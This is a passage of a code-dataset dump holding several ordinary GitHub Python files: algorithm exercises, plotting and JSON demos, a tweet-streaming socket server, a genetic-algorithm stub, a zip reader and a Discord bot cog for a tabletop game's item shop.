j):\n return sum(self.nums[i: j+1])\n\n def cache(self):\n \"\"\"\n cache sum of [0, i] to memo[i]\n :return:\n \"\"\"\n memo = [0 for _ in range(len(self.nums))]\n\n for index, number in enumerate(self.nums):\n if index == 0:\n memo[index] = number\n else:\n memo[index] = memo[index-1] + number\n return memo\n\n def calculate(self, i, j):\n if i <= 0:\n # sum of element before index 0 is 0, boundary condition\n sum_before_i = 0\n else:\n sum_before_i = self.memo[i-1]\n\n res = self.memo[j] - sum_before_i\n return res\n\n def cache_sentinel(self):\n \"\"\"\n cache sum of [0, i+1] to memo[i]\n :return:\n \"\"\"\n # length of memo is n + 1, first element is sentinel, stands for sum(num[:0])\n memo = [0 for _ in range(len(self.nums) + 1)]\n\n for index, number in enumerate(self.nums, start=1):\n memo[index] = memo[index-1] + number\n return memo\n\n def calculate_sentinel(self, i, j):\n res = self.memo_sentinel[j+1] - self.memo_sentinel[i]\n return res\n\n\nif __name__ == \"__main__\":\n # Your NumArray object will be instantiated and called as such:\n test_nums = [-2, 0, 3, -5, 2, -1]\n i, j = 0, 2\n i, j = 2, 5\n i, j = 0, 5\n obj = NumArray(test_nums)\n param_1 = obj.sumRange(i, j)\n print(param_1)\n\n\n\n","repo_name":"buxizhizhoum/leetcode","sub_path":"range_sum_query_immutable.py","file_name":"range_sum_query_immutable.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18429946332","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.linspace(-1, 1, 100)\ny = x + 1\nplt.figure()\nplt.plot(x, y, linewidth=30, zorder=1)\n\n# 移动坐标轴位置\n\n # 首先拿到当前坐标轴\nax = plt.gca()\nax.spines['right'].set_color('none') # 去掉右边坐标轴\nax.spines['top'].set_color('none') # 去掉顶部坐标轴\nax.xaxis.set_ticks_position('bottom') # 设置底部为x坐标轴(可不设置)\nax.yaxis.set_ticks_position('left') # 设置左边为y坐标轴(可不设置)\n # 移动坐标轴\nax.spines['bottom'].set_position(('data', 1)) # 设置1为x坐标轴原点\nax.spines['left'].set_position(('data', 0)) # 设置0为为y坐标轴原点\n\n# 修改坐标轴显示\n\n # 首先拿到坐标轴\nfor label in ax.get_xticklabels() + ax.get_yticklabels():\n # 设置宽度\n label.set_fontsize(10)\n # 修改底片\n label.set_bbox(dict(facecolor='white', edgecolor='None', alpha=0.8, zorder=2))\n\nplt.show()","repo_name":"bravetodo/library","sub_path":"matplotlib/_9.py","file_name":"_9.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73711975719","text":"import tweepy\nimport json\nfrom config.config import *\nimport socket\n\nimport os\nimport sys\n\nos.environ['PYSPARK_PYTHON'] = sys.executable\nos.environ['PYSPARK_DRIVER_PYTHON'] = sys.executable\n\ndef twitterAuth():\n # create the authentication object\n authenticate = tweepy.OAuthHandler(API_KEY, API_KEY_SECRET)\n\n # set the access token and the access token secret\n authenticate.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\n return authenticate\n\nclass TweetListener(tweepy.StreamingClient):\n\n def __init__(self, bearer_token, csocket):\n super().__init__(bearer_token)\n self.client_socket = csocket\n\n def on_tweet(self, tweet):\n tw_dict = {}\n try:\n # read the Twitter data and then transform AS DICT\n tw_dict[\"ID\"] = tweet.id\n tw_dict[\"text\"] = tweet.text\n tw_dict[\"created_at\"] = tweet.created_at\n # the 'text' in the JSON file contains the actual tweet.\n data = json.dumps(tw_dict, default=str)\n # the actual tweet data is sent to the client socket\n self.client_socket.sendall(data.encode())\n print(data)\n return True\n\n except BaseException as e:\n # Error handling\n print(\"Ahh! Look what is wrong : %s\" % str(e))\n return True\n\n def on_error(self, status_code):\n print(status_code)\n return False\n\n def start_streaming_tweets(self):\n self.add_rules(tweepy.StreamRule(value=\"BTS lang:en\"))\n self.filter(tweet_fields=[\"created_at\"], expansions=[\"author_id\"],user_fields=[\"username\", \"name\"])\n \n\nif __name__ == \"__main__\":\n\n def delete_all_rules(client, rules):\n if rules is None or rules.data is None:\n return None\n stream_rules = rules.data\n ids = list(map(lambda rule: rule.id, stream_rules))\n client.delete_rules(ids=ids)\n\n \n # create a socket object\n s = socket.socket()\n\n # Get local machine name : host and port\n host = \"127.0.0.1\"\n port = 3333\n\n # Bind to the port\n s.bind((host, port))\n print(\"Listening on port: %s\" % str(port))\n\n # Wait and Establish the connection with client.\n s.listen(1)\n c, addr = s.accept()\n\n print(\"Received request from: \" + str(addr))\n\n my_stream = TweetListener(bearer_token=BEARER_TOKEN, csocket=c)\n rules = my_stream.get_rules()\n\n # ALL LEGACY RULE DELETE.\n delete_all_rules(my_stream, rules)\n my_stream.start_streaming_tweets()\n\n \n\n","repo_name":"HyunWooZZ/analyze_Tate","sub_path":"sparkPython/main/tweets_listener.py","file_name":"tweets_listener.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39764147866","text":"values = list()\nsearchValue = 0\nsearchFlag = False\nprint(\"Input 10 numbers\")\nfor ittereation in range(10):\n answer = int(input(\"Insert value number \" + str(ittereation+1) + \":\")) #Cant use \",\" only \"+\" when adding argument in input\n values.append(answer)\nsearchValue = int(input(\"Insert value to search for: \"))\n\n#Binary search\ntempValueList = values\ntempValueList.sort()\nsizeOfList = len(tempValueList)\nmiddleValue = sizeOfList // 2 # for float \"/\" for whole \"//\"\nminimumValue = 0\nmaximumValue = sizeOfList\nindexLocation = minimumValue\nprint(\"List\",tempValueList,\" And there MinVal = {0}, MaxVal = {1}, M1idVal = {2} \".format(minimumValue,maximumValue,middleValue))\nfor iteration in range( 1 + sizeOfList // 2):\n if (tempValueList[middleValue] == searchValue):\n print(\"Search is successfull\")\n print(\"the location is on index\", indexLocation)\n searchFlag = False\n break\n\n elif searchValue < tempValueList[middleValue]: #Moving to the left\n tempValueList = tempValueList[0 : middleValue]\n middleValue = len(tempValueList) // 2\n maximumValue = len(tempValueList)\n indexLocation += middleValue\n # maximumValue = middleValue - 1\n # middleValue = (minimumValue + middleValue) // 2\n # minimumValue = minimumValue\n print(\"MinVal = {0}, MaxVal = {1}, MidVal = {2} \".format(minimumValue,maximumValue,middleValue))\n print(tempValueList)\n searchFlag = True\n\n\n elif searchValue > tempValueList[middleValue]: #Moving to the right\n tempValueList = tempValueList[middleValue + 1 : len(tempValueList)]\n middleValue = len(tempValueList) // 2\n maximumValue = len(tempValueList)\n indexLocation += middleValue\n # minimumValue= middleValue + 1\n # middleValue = (minimumValue + middleValue) // 2\n # maximumValue = maximumValue\n print(\"MinVal = {0}, MaxVal = {1}, MidVal = {2} \".format(minimumValue,maximumValue,middleValue))\n print(tempValueList)\n searchFlag = True\n\n\n else:\n searchFlag = True\n\nif searchFlag:\n print(\"search is unsuccessful\")","repo_name":"TrellixVulnTeam/DATA-STRUCTURE-ALGORITHMS-LAB_YI23","sub_path":"Sample/Binary.py","file_name":"Binary.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29035758124","text":"import json\n\n# 序列化操作\n# 对象:字典 列表 -》 json字符串\n\nclass Phone:\n def __init__(self, name, price, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.name = name\n self.price = price\n\n\nobj1 = {}\nobj2 = {}\nobj1[\"value\"] = obj2\nobj2[\"value\"] = obj1\n\ndic = {\n \"name\": \"sz\",\n \"age\": 18,\n # (1, 2): 666,\n # \"circle\": obj1,\n # \"n\": float('nan'),\n \"phone\": Phone(\"is6\", \"888\"),\n \"dog\": {\n \"name\": \"煤球\",\n \"age\": 2,\n \"color\": \"黑色\",\n \"isVIP\": True,\n \"child\": None\n }\n}\n\n\nclass Default(json.JSONEncoder):\n def default(self, o):\n print(o)\n return [o.name, o.price]\n\n\n# result = json.dumps(dic, skipkeys=True, ensure_ascii=False, check_circular=False, allow_nan=False)\n# result = json.dumps(dic, cls=Default, indent=4)\ndef parse(obj):\n print(obj)\n return {\"name\": obj.name, \"price\": obj.price}\n\n# result = json.dumps(dic, indent=4, default=parse, sort_keys=True)\nwith open(\"json2file.json\", \"w\", encoding=\"utf-8\") as f:\n\n result = json.dump(dic, fp=f, indent=4, default=parse, sort_keys=True, ensure_ascii=False)\n print(type(result))\n print(result)","repo_name":"XTU-2020-BD-Class2/Python-web-crawler","sub_path":"视频中的部分代码/Python爬虫_数据解析代码/json相关/Python-数据解析-json-序列化.py","file_name":"Python-数据解析-json-序列化.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"516127958","text":"from random import Random\nfrom time import time\nfrom math import cos\nfrom math import pi\n\nclass Engine:\n\n\txrange=None\n\tyrange=None\n\tfunction=None\n\tpopulation=[]\n\n\tdef setxrange(range):\n\t\tself.xrange=range\n\n\tdef setyrange(range):\n\t\tself.yrange=range\n\n\tdef setfunction(self, function, xrange, yrange):\n\t\tprint(\"Zmiana funckji fitnes na \"+function)\n\t\tself.function=function\n\t\tself.xrange=xrange\n\t\tself.yrange=yrange\n\n\tdef getfunction():\n\t\treturn self.function\n\n\tdef generate_function(self, random, size):\n\t\treturn [random.uniform(-5.12, 5.12) for i in xrange(size)]\n\n\tdef evaluate_rastrigin(self, candidates):\n\t\tfitness = []\n\t\tfor cs in candidates:\n\t\t\tfit = [eval(function) for x in cs]\n\t\t\tfitness.append(fit)\n\t\treturn fitness\n\n\tdef generate(self, random, size):\n\t\treturn [random.uniform(-30., 30.) for i in xrange(size)]\n\n\n\tdef initializeF(self, function):\n\t\tif function==\"Rosenbrock\":\n\t\t\tfunction=\"(1-x)+100*(y-x**)*(y-x**)\"\n\t\t\txrange=-30.\n\t\t\tyrange=30.\n\t\telif function==\"Rastrigin\":\n\t\t\tfunction=\"10 * len(cs) + sum([((x - 1)**2 - 10 * cos(2 * pi * (x - 1)))\"\n\t\t\txrange=-5.12\n\t\t\tyrange=5.12\n\n\t\tself.initialize(function, xrange, yrange)\n\n\n\tdef initialize(self, function, xrange, yrange):\n\t\trand = Random()\n\t\trand.seed(int(time()))\n\t\tself.setfunction(function, xrange, yrange)\n\n\n\tdef evaluation():\n\t\tprint(\"Ocena osobnikow\")\n\n\t\tfor genotype in population:\n\t\t\tx=genotype.value\n\t\t\tgenotype.setfitness(eval(function))\n\n\n\tdef best(population):\n\t\tpos=0\n\t\tbestPos=0\n\t\tbest=population[0].getvalue()\n\n\t\tfor genotype in population:\n\t\t\tif genotype.getvalue()genotype.getvalue():\n\t\t\t\tmin=genotype.getvalue()\n\t\treturn min\n\n\n\tdef sum(self):\n\t\tsum=0\n\t\tfor genotype in population:\n\t\t\tif min>genotype.getvalue():\n\t\t\t\tsum=sum+genotype.getvalue()\n\t\treturn sum\n\n\n\n\tdef roulette(self):\n\t\trandom = Random()\n\t\tworstValue=min(self)\n\t\tsumValue=self.sum()\n\n\t\tfor genotype in population:\n\t\t\tif random.uniform(0, 1)>(worstValue-genotype.getvalue()+1)/(sumValue+1):\n\t\t\t\tself.population.remove(genotype)\n\n\n\tdef selection(type):\n\n\t\tprint(\"Selekcja\")\n\t\tif type==\"tournament\":\n\t\t\tself.tournament()\n\t\telif type==\"roulette\":\n\t\t\tself.roulette()\n\n\n\tdef crossover(p):\n\t\tprint(\"Krzyzwanie\")\n\n\tdef mutation(p):\n\t\tprint(\"Mutacja\")\n\n\n\nengine=Engine()\nengine.initialize(\"x+2\", 10, 10)\n\n","repo_name":"filu005/TK-Genetic-Engine","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35210125810","text":"\nlogo = \"\"\"\n ______ _ ____ _ _ _____ ___ _ ___ _____ _ __\n|__ /_ _| _ \\ | | | |_ _|_ _| | |_ _|_ _\\ \\ / /\n / / | || |_) |____| | | | | | | || | | | | | \\ V / \n / /_ | || __/_____| |_| | | | | || |___ | | | | | | \n/____|___|_| \\___/ |_| |___|_____|___| |_| |_| \n\"\"\" \n\nprint(logo)\nprint(\"Version 1.0 \\n\")\nprint(\"This tool should not be used for any malicious purposes. Use this tool at your own risk.\")\n\n\nimport zipfile\n\npath = input(\"Enter the location of the Zip file you want to read: \\n\")\n\n\ntry:\n zf = zipfile.ZipFile(path, 'r') #path is the location of the file\n\n data = zf.namelist()[0]\n\n data_size = zf.getinfo(data).file_size\n\n print(\"Contents:\",data) #prints contents of the zip file\n print(\"Size in Bytes:\", data_size) #prints the data size in bytes\n\n zf.close()\n \nexcept FileNotFoundError:\n print(\"Error the file specified was not found :(\")\n\nexcept Exception:\n print(\"Ooops something went wrong\")\n\nelse:\n print(\"Reading Zip file was Successful !!!\")\n\nfinally:\n print(\"End of Script\") \n","repo_name":"Chromico/zip-uitility-GCI","sub_path":"zip-read.py","file_name":"zip-read.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41242649872","text":"import discord\nimport asyncio\nimport requests\nimport re\nfrom discord.utils import get \nfrom discord.ext import commands\nfrom bfunc import db, commandPrefix, numberEmojis, roleArray, callAPI, checkForChar, traceBack, alphaEmojis\nimport traceback as traces\n\nclass Tp(commands.Cog):\n def __init__ (self, bot):\n self.bot = bot\n \n @commands.group()\n async def tp(self, ctx):\t\n tpCog = self.bot.get_cog('Tp')\n pass\n\n async def cog_command_error(self, ctx, error):\n msg = None\n\n if isinstance(error, commands.CommandNotFound):\n await ctx.channel.send(f'Sorry, the command **`{commandPrefix}{ctx.invoked_with}`** requires an additional keyword to the command or is invalid, please try again!')\n return\n \n if isinstance(error, commands.MissingRequiredArgument):\n if error.param.name == 'charName':\n msg = \"You're missing your character name in the command. \"\n elif error.param.name == \"mItem\":\n msg = \"You're missing the item you want to acquire in the command. \"\n elif error.param.name == \"tierNum\":\n msg = \"You're missing the tier for the TP you want to abandon. \"\n elif isinstance(error, commands.BadArgument):\n # convert string to int failed\n msg = \"The amount you want to acquire must be a number. \"\n # bot.py handles this, so we don't get traceback called.\n elif isinstance(error, commands.CommandOnCooldown):\n return\n elif isinstance(error, commands.UnexpectedQuoteError) or isinstance(error, commands.ExpectedClosingQuoteError) or isinstance(error, commands.InvalidEndOfQuotedStringError):\n return\n \n if msg:\n if ctx.command.name == \"buy\":\n msg += f\"Please follow this format:\\n```yaml\\n{commandPrefix}tp buy \\\"character name\\\" \\\"magic item\\\"```\\n\"\n elif ctx.command.name == \"discard\":\n msg += f\"Please follow this format:\\n```yaml\\n{commandPrefix}tp discard \\\"character name\\\"```\\n\"\n elif ctx.command.name == \"abandon\":\n msg += f\"Please follow this format:\\n```yaml\\n{commandPrefix}tp abandon \\\"character name\\\" tier```\\n\"\n\n ctx.command.reset_cooldown(ctx)\n await ctx.channel.send(msg)\n else:\n ctx.command.reset_cooldown(ctx)\n await traceBack(ctx,error)\n @tp.command()\n async def createGroup(self, ctx, table, query, group):\n \n #channel and author of the original message creating this call\n channel = ctx.channel\n author = ctx.author\n \n collection = db[table]\n apiEmbedmsg = None\n apiEmbed = discord.Embed()\n #get the entire table if no query is given\n if query is None:\n return None, apiEmbed, apiEmbedmsg\n\n #if the query has no text, return nothing\n if query.strip() == \"\":\n return None, apiEmbed, apiEmbedmsg\n\n #restructure the query to be more regEx friendly\n query = query.strip()\n query = query.replace('(', '\\\\(')\n query = query.replace(')', '\\\\)')\n query = query.replace('+', '\\\\+')\n \n #search through the table for an element were the Name or Grouped property contain the query\n filterDic = {\"Name\": {\n \"$regex\": query,\n #make the check case-insensitively\n \"$options\": \"i\"\n }\n }\n records = list(collection.find(filterDic))\n \n #restore the original query\n query = query.replace(\"\\\\\", \"\")\n #sort elements by either the name, or the first element of the name list in case it is a list\n def sortingEntryAndList(elem):\n if(isinstance(elem['Name'],list)): \n return elem['Name'][0] \n else: \n return elem['Name']\n \n remove_grouper = [] #track all elements that need to be removes since they act as representative for a group of items\n\n #for every search result check if it contains a group and create entries for each group element if it does\n for entry in records:\n # if the element is part of a group\n if(\"Grouped\" in entry):\n # remove it later\n remove_grouper.append(entry)\n # remove all group representatives\n for group_to_remove in remove_grouper:\n records.remove(group_to_remove)\n \n #sort all items alphabetically \n records = sorted(records, key = sortingEntryAndList) \n \n #if no elements are left, return nothing\n if records == list():\n return None, apiEmbed, apiEmbedmsg\n else:\n try:\n latest=\" Go\"\n latest1=\"\"\n latest2=\"\"\n latest3=\"\"\n #create a string to provide information about the items to the user\n infoString = \"\"\n collapseList=[]\n for rec in records:\n infoString = f\"{rec['Name']} (Tier {rec['Tier']})**\\n\"\n def apiEmbedCheck(r, u):\n sameMessage = False\n if apiEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((str(r.emoji) == '✅') or (str(r.emoji) == '❌') or (str(r.emoji) == '⛔')) and u == author\n #inform the user of the current information and ask for their selection of an item \n apiEmbed.add_field(name=f\"Latest Change\", value=latest, inline=False)\n apiEmbed.add_field(name=f\"Select which one to collapse.\", value=infoString, inline=False) \n\n if not apiEmbedmsg or apiEmbedmsg == \"Fail\":\n apiEmbedmsg = await channel.send(embed=apiEmbed)\n else:\n await apiEmbedmsg.edit(embed=apiEmbed)\n\n await apiEmbedmsg.add_reaction('✅')\n await apiEmbedmsg.add_reaction('❌')\n await apiEmbedmsg.add_reaction('⛔')\n \n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=apiEmbedCheck, timeout=60)\n except asyncio.TimeoutError:\n #stop if no response was given within the timeframe and reenable the command\n await apiEmbedmsg.delete()\n await channel.send('Timed out! Try using the command again.')\n ctx.command.reset_cooldown(ctx)\n return None, apiEmbed, \"Fail\"\n else:\n latest3 = latest2\n latest2 = latest1\n latest1 = rec[\"Name\"]+ \": \"+tReaction.emoji+\"\\n\"\n latest=latest3+latest2+latest1\n \n #stop if the cancel emoji was given and reenable the command\n if tReaction.emoji == '❌':\n pass\n elif tReaction.emoji == '✅':\n collapseList.append(rec)\n else:\n tpEmbedmsg = await channel.send(embed=None, content=f\"Grouping process cancelled.\")\n return\n #return the selected item indexed by the emoji given by the user\n apiEmbed.clear_fields()\n await apiEmbedmsg.clear_reactions()\n name_list = list([x[\"Name\"] for x in collapseList])\n charDict = collapseList[0].copy()\n charDict[\"Name\"] = name_list\n charDict[\"Grouped\"] = group\n charDict.pop(\"_id\")\n collection.insert_one(charDict)\n for entry in collapseList:\n collection.delete_one({'_id': entry['_id']})\n tpEmbedmsg = await channel.send(embed=None, content=f\"Grouping process finished. These items have been grouped.\\n\"+\"\\n\".join(name_list))\n return\n except Exception as e:\n print ('MONGO ERROR: ' + str(e))\n traces.print_exc()\n tpEmbedmsg = await channel.send(embed=None, content=f\"Uh oh, looks like something went wrong. Please try again using the same command.\")\n\n @commands.cooldown(1, float('inf'), type=commands.BucketType.user)\n @tp.command()\n async def buy(self, ctx , charName, mItem):\n\n channel = ctx.channel\n author = ctx.author\n tpEmbed = discord.Embed()\n #this variable is never used\n tpCog = self.bot.get_cog('Tp')\n #find a character matching with charName using the function in bfunc\n charRecords, tpEmbedmsg = await checkForChar(ctx, charName, tpEmbed)\n\n if charRecords:\n #functions to make sure that only the intended user can respond\n def tpChoiceEmbedCheck(r, u):\n sameMessage = False\n if tpEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((str(r.emoji) == '1️⃣' and haveTP) or (charRecords['GP'] >= gpNeeded and str(r.emoji) == '2️⃣') or (str(r.emoji) == '❌')) and u == author and sameMessage\n def tpEmbedCheck(r, u):\n sameMessage = False\n if tpEmbedmsg.id == r.message.id:\n sameMessage = True\n return ((str(r.emoji) == '✅') or (str(r.emoji) == '❌')) and u == author and sameMessage \n # calculate the tier of the character to limit which items they can purchase\n\n cLevel = charRecords[\"Level\"]\n print(cLevel)\n tier = 5\n if(cLevel < 5):\n tier= 1\n elif(cLevel < 11):\n tier= 2\n elif(cLevel < 17):\n tier= 3\n elif(cLevel < 20):\n tier= 4\n #make the call to the bfunc function to retrieve an item matching with mItem\n print(tier)\n mRecord, tpEmbed, tpEmbedmsg = await callAPI(ctx, tpEmbed, tpEmbedmsg, 'mit', mItem, tier=tier) \n #if an item was found\n if mRecord:\n \"\"\"\n Alright boyo, here is my masterstroke in this madness\n Since callAPI we generated the subitems of a grouping as entries and Grouped property has been maintained for them\n we can now use this to indentify if an item was part of a bigger group\n The Grouped property for characters acts as a tracker of which item the character worked/is working forward in the group\n If the user does not have the property, we can thus skip since they could not have gotten the item\n \"\"\"\n if(\"Grouped\" in mRecord and \"Grouped\" in charRecords):\n \"\"\"\n We can now check if the group name is in any of the Groups that character has interacted with\n We can then check for every element in Grouped if the currently requested item is in any of them\n The last check is to make sure that all other items beside the initially selected one get blocked\n \n if(any(mRecord[\"Grouped\"] in group_item_pair for group_item_pair in charRecords[\"Grouped\"])):\n \"\"\"\n for groupName in charRecords[\"Grouped\"]:\n group_name_split = groupName.split(\":\")\n if(mRecord[\"Grouped\"] == group_name_split[0].strip() and mRecord[\"Name\"] != group_name_split[1].strip()):\n #inform the user that they already have an item from this group\n await channel.send(f\"**{mRecord['Name']}** is a variant of the **{mRecord['Grouped']}** item and ***{charRecords['Name']}*** already owns a variant of the that item.\")\n ctx.command.reset_cooldown(ctx)\n return \n # check if the requested item is already in the inventory\n if(mRecord['Name'] in [name.strip() for name in charRecords['Magic Items'].split(\",\")]): \n await channel.send(f\"You already have **{mRecord['Name']}** and cannot spend TP or gp on another one.\")\n ctx.command.reset_cooldown(ctx)\n return \n \n # get the tier of the item\n tierNum = mRecord['Tier']\n # get the gold cost of the item\n gpNeeded = mRecord['GP']\n #get the list of all items currently being worked towards\n currentMagicItems = charRecords['Current Item'].split(', ')\n\n tpBank = [0,0,0,0,0]\n tpBankString = \"\"\n #grab the available TP of the character\n for x in range(1,6):\n if f'T{x} TP' in charRecords:\n tpBank[x-1] = (float(charRecords[f'T{x} TP']))\n tpBankString += f\"{tpBank[x-1]} T{x} TP, \" \n\n haveTP = False\n lowestTp = 0\n #get the lowest tier available TP\n for tp in range (int(tierNum) - 1, 5):\n if tpBank[tp] > 0:\n haveTP = True\n lowestTP = tp + 1 \n break\n\n # display the cost of the item to the user\n tpEmbed.title = f\"Acquiring a Magic Item: {charRecords['Name']}\"\n \n # if the user doesnt have the resources for the purchases, inform them and cancel\n if not haveTP and float(charRecords['GP']) < gpNeeded:\n await channel.send(f\"You do not have enough Tier {tierNum} TP or gp to acquire **{mRecord['Name']}**!\")\n ctx.command.reset_cooldown(ctx)\n return\n \n # get confirmation from the user for the purchase\n elif not haveTP:\n if tpBank == [0] * 4:\n tpEmbed.description = f\"Do you want to acquire **{mRecord['Name']}** with TP or gp?\\n\\n You have **no TP** and **{charRecords[f'GP']} gp**.\\n\\n1️⃣: ~~{mRecord['TP']} TP (Treasure Points)~~ You do not have enough TP.\\n2️⃣: {mRecord['GP']} gp (gold pieces)\\n\\n❌: Cancel\" \n else:\n tpEmbed.description = f\"Do you want to acquire **{mRecord['Name']}** with TP or gp?\\n\\n You have **{tpBankString}** and **{charRecords[f'GP']} gp**.\\n\\n1️⃣: ~~{mRecord['TP']} TP (Treasure Points)~~ You do not have enough TP.\\n2️⃣: {mRecord['GP']} gp (gold pieces)\\n\\n❌: Cancel\" \n\n elif float(charRecords['GP']) < gpNeeded:\n tpEmbed.description = f\"Do you want to acquire **{mRecord['Name']}** with TP or gp?\\n\\n You have **{tpBankString}** and **{charRecords[f'GP']} gp**.\\n\\n1️⃣: {mRecord['TP']} TP (Treasure Points)\\n2️⃣: ~~{mRecord['GP']} gp (gold pieces)~~ You do not have enough gp.\\n\\n❌: Cancel\" \n\n else:\n tpEmbed.description = f\"Do you want to acquire **{mRecord['Name']}** with TP or gp?\\n\\n You have **{tpBankString}** and **{charRecords[f'GP']} gp**.\\n\\n1️⃣: {mRecord['TP']} TP (Treasure Points)\\n2️⃣: {mRecord['GP']} gp (gold pieces)\\n\\n❌: Cancel\" \n \n if tpEmbedmsg:\n await tpEmbedmsg.edit(embed=tpEmbed)\n else:\n tpEmbedmsg = await channel.send(embed=tpEmbed)\n # get choice from the user\n if haveTP:\n await tpEmbedmsg.add_reaction('1️⃣')\n if float(charRecords['GP']) >= gpNeeded:\n await tpEmbedmsg.add_reaction('2️⃣')\n await tpEmbedmsg.add_reaction('❌')\n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=tpChoiceEmbedCheck , timeout=60)\n except asyncio.TimeoutError:\n #cancel if the user didnt respond within the timeframe\n await tpEmbedmsg.delete()\n await channel.send(f'TP cancelled. Try again using the same command!')\n ctx.command.reset_cooldown(ctx)\n return\n else:\n await tpEmbedmsg.clear_reactions()\n newGP = \"\"\n newTP = \"\"\n refundTP = 0.0\n #cancel if the user decided to cancel the purchase\n if tReaction.emoji == '❌':\n await tpEmbedmsg.edit(embed=None, content=f\"TP cancelled. Try again using the same command!\")\n await tpEmbedmsg.clear_reactions()\n ctx.command.reset_cooldown(ctx)\n return\n #refund the TP in the item if the user decides to purchase with gold\n elif tReaction.emoji == '2️⃣':\n newGP = charRecords['GP'] - gpNeeded\n #search for the item in the items currently worked towards\n if mRecord['Name'] in charRecords['Current Item']:\n #grab the matching item\n currentMagicItem = re.search('\\(([^)]+)', charRecords['Current Item']).group(1)\n #split the current/needed TP\n tpSplit= currentMagicItem.split('/')\n refundTP = float(tpSplit[0])\n charRecords['Current Item'] = \"None\"\n #confirm with the user on the purchase\n tpEmbed.description = f\"Are you sure you want to acquire **{mRecord['Name']}** for **{mRecord['GP']} gp**?\\n\\nCurrent gp: {charRecords['GP']}\\nNew gp: {newGP} gp\\n\\nNote: you will be refunded the TP you have already spent on this item ({refundTP} TP). \\n\\n✅: Yes\\n\\n❌: Cancel\"\n else:\n tpEmbed.description = f\"Are you sure you want to acquire **{mRecord['Name']}** for **{mRecord['GP']} gp**?\\n\\nCurrent gp: {charRecords['GP']}\\nNew gp: {newGP} gp\\n\\n✅: Yes\\n\\n❌: Cancel\"\n\n # If user decides to buy item with TP:\n elif tReaction.emoji == '1️⃣':\n tierNum = lowestTP\n tpNeeded = float(mRecord['TP'])\n mIndex = 0\n # If the character has no invested TP items OR:\n # If the character has invested TP items, but the item they are spending it on is not included\n if charRecords['Current Item'] == 'None':\n tpSplit = [0.0, tpNeeded]\n currentMagicItems = [f\"{mRecord['Name']} (0/0)\"]\n elif mRecord['Name'] not in charRecords['Current Item']:\n tpSplit = [0.0, tpNeeded]\n currentMagicItems.append(f\"{mRecord['Name']} (0/0)\")\n mIndex = len(currentMagicItems) - 1\n else:\n mIndex = [m.split(' (')[0] for m in currentMagicItems].index(mRecord['Name'])\n currentMagicItem = re.search('\\(([^)]+)', currentMagicItems[mIndex]).group(1)\n print(currentMagicItem)\n tpSplit= currentMagicItem.split('/')\n tpNeeded = float(tpSplit[1]) - float(tpSplit[0]) \n\n tpResult = tpNeeded - float(charRecords[f\"T{tierNum} TP\"])\n\n # How (xTP/yTP) is calculated. If spent TP is incomplete, else if spending TP completes the item\n if tpResult > 0:\n newTP = f\"{float(tpSplit[1]) - tpResult}/{tpSplit[1]}\"\n charRecords[f\"T{tierNum} TP\"] = 0\n currentMagicItems[mIndex] = f\"{mRecord['Name']} ({newTP})\"\n charRecords['Current Item'] = ', '.join(currentMagicItems)\n else:\n newTP = f\"({tpSplit[1]}/{tpSplit[1]}) - Complete! :tada:\"\n charRecords[f\"T{tierNum} TP\"] = abs(float(tpResult))\n if currentMagicItems != list():\n currentMagicItems.pop(mIndex)\n charRecords['Current Item'] = ', '.join(currentMagicItems)\n if currentMagicItems == list():\n charRecords['Current Item'] = 'None'\n\n tpEmbed.description = f\"Are you sure you want to acquire **{mRecord['Name']}** for **{mRecord['TP']} TP**?\\n\\n{tpSplit[0]}/{tpSplit[1]} → {newTP}\\n\\nLeftover T{tierNum} TP: {charRecords[f'T{tierNum} TP']}\\n\\n✅: Yes\\n\\n❌: Cancel\"\n\n # If not complete, leave in current items, otherwise add to magic item list / consuambles\n if 'Complete' not in newTP and tReaction.emoji == '1️⃣':\n pass\n elif charRecords['Magic Items'] == \"None\":\n charRecords['Magic Items'] = mRecord['Name']\n else:\n newMagicItems = charRecords['Magic Items'].split(', ')\n newMagicItems.append(mRecord['Name'])\n newMagicItems.sort()\n charRecords['Magic Items'] = ', '.join(newMagicItems)\n\n tpEmbed.set_footer(text=tpEmbed.Empty)\n await tpEmbedmsg.edit(embed=tpEmbed)\n await tpEmbedmsg.add_reaction('✅')\n await tpEmbedmsg.add_reaction('❌')\n try:\n tReaction, tUser = await self.bot.wait_for(\"reaction_add\", check=tpEmbedCheck , timeout=60)\n except asyncio.TimeoutError:\n await tpEmbedmsg.delete()\n await channel.send(f'TP cancelled. Try again using the same command!')\n ctx.command.reset_cooldown(ctx)\n return\n else:\n await tpEmbedmsg.clear_reactions()\n if tReaction.emoji == '❌':\n await tpEmbedmsg.edit(embed=None, content=f\"TP cancelled. Try again using the same command!\")\n await tpEmbedmsg.clear_reactions()\n ctx.command.reset_cooldown(ctx)\n return\n elif tReaction.emoji == '✅':\n tpEmbed.clear_fields()\n try:\n playersCollection = db.players\n if(\"Grouped\" not in charRecords):\n charRecords[\"Grouped\"] = []\n if(\"Grouped\" in mRecord and mRecord[\"Grouped\"]+\" : \"+mRecord[\"Name\"] not in charRecords[\"Grouped\"]):\n charRecords[\"Grouped\"].append(mRecord[\"Grouped\"]+\" : \"+mRecord[\"Name\"])\n setData = {\"Current 